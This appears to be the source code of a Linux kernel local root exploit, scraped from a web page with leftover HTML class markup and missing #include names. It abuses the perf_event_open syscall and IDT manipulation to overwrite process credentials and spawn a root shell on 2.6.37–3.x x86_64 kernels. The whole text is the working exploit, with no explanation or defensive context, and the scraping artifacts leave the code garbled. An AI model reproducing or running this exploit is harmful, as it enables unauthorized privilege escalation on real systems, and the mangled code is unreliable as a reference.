class="php spaces">
class="php spaces">
class="php spaces">
class="php spaces">
class="php spaces">
class="php spaces">
class="php spaces">
class="php spaces">
class="php spaces">
#define
_GNU_SOURCE 1
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain">
class="php plain">#include class="php plain"> class="php spaces">
#define
BASE 0x380000000
#define
SIZE 0x010000000
#define
KSIZE 0x2000000
#define
AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
class="php spaces">
void
fuck() {
int i,j,k;
uint64_t
uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t
*current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t
kbase = ((uint64_t)current)>>36;
uint32_t
*fixptr = (void*) AB(1);
*fixptr =
-1;
class="php spaces">
class="php keyword">for (i=0;
i<4000; i+=4) {
uint64_t
*p = (void *)¤t[i];
uint32_t
*t = (void*) p[0];
class="php keyword">if ((p[0] != p[1]) ||
((p[0]>>36) != kbase)) class="php keyword">continue;
class="php keyword">for (j=0; j<20;
j++) { for class="php plain">(k = 0; k <8; k++)
class="php keyword">if class="php plain">(((uint32_t*)uids)[k] != t[j+k]) goto
next;
class="php keyword">for (i = 0; i <8;
i++) t[j+i] = 0;
class="php keyword">for (i = 0; i <10;
i++) t[j+9+i] = -1;
class="php keyword">return;
next:; }
}
}
class="php spaces">
void
sheep(uint32_t off) {
uint64_t
buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd =
syscall(298, buf, 0, -1, -1, 0);
class="php plain">assert(!close(fd));
}
class="php spaces">
int main()
{
class="php plain">uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t
*map, j = 5;
int i;
struct {
uint16_t
limit;
uint64_t
addr;
}
__attribute__((packed)) idt;
class="php plain">assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) ==
(void*)BASE);
class="php plain">memset(map, 0, SIZE);
sheep(-1);
sheep(-2);
class="php keyword">for (i = 0; i <
SIZE/4; i++) if (map[i])
{
class="php plain">assert(map[i+1]);
class="php keyword">break;
}
class="php plain">assert(i
asm
("sidt %0" class="php plain">: "=m" class="php plain">(idt));
kbase =
idt.addr & 0xff000000;
u =
getuid(); g = getgid();
class="php plain">assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32,
0, 0)) == (void*)kbase);
class="php plain">memset(code, 0x90, KSIZE); code += KSIZE-1024;
memcpy(code, &fuck, 1024);
class="php plain">memcpy(code-13, class="php string">"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf" class="php plain">,
class="php plain">printf("2.6.37-3.x
x86_64\nsd@fucksheep.org 2010\n") % 27);
class="php plain">setresuid(u,u,u); setresgid(g,g,g);
class="php keyword">while (j--) {
needle =
AB(j+1);
assert(p =
memmem(code, 1024, &needle, 8));
class="php keyword">if (!p) class="php keyword">continue;
*p =
j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i +
(((idt.addr&0xffffffff)-0x80000000)/4) + 16);
class="php plain">asm("int
$0x4"); assert(!setuid(0));
class="php keyword">return class="php plain">execl( class="php string">"/bin/bash",
"-sh",
NULL);
class="php plain">}
京公网安备 11010802041100号